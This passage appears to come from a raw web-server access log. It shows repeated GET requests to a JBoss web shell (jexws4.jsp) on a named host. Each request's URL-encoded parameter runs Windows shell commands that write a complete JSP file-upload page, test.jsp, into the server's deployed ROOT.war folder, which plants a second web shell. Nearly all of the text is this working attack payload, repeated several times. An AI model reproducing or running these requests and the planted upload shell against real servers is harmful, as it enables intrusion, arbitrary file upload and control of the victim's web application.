endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783913562 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783907436 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783900889 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%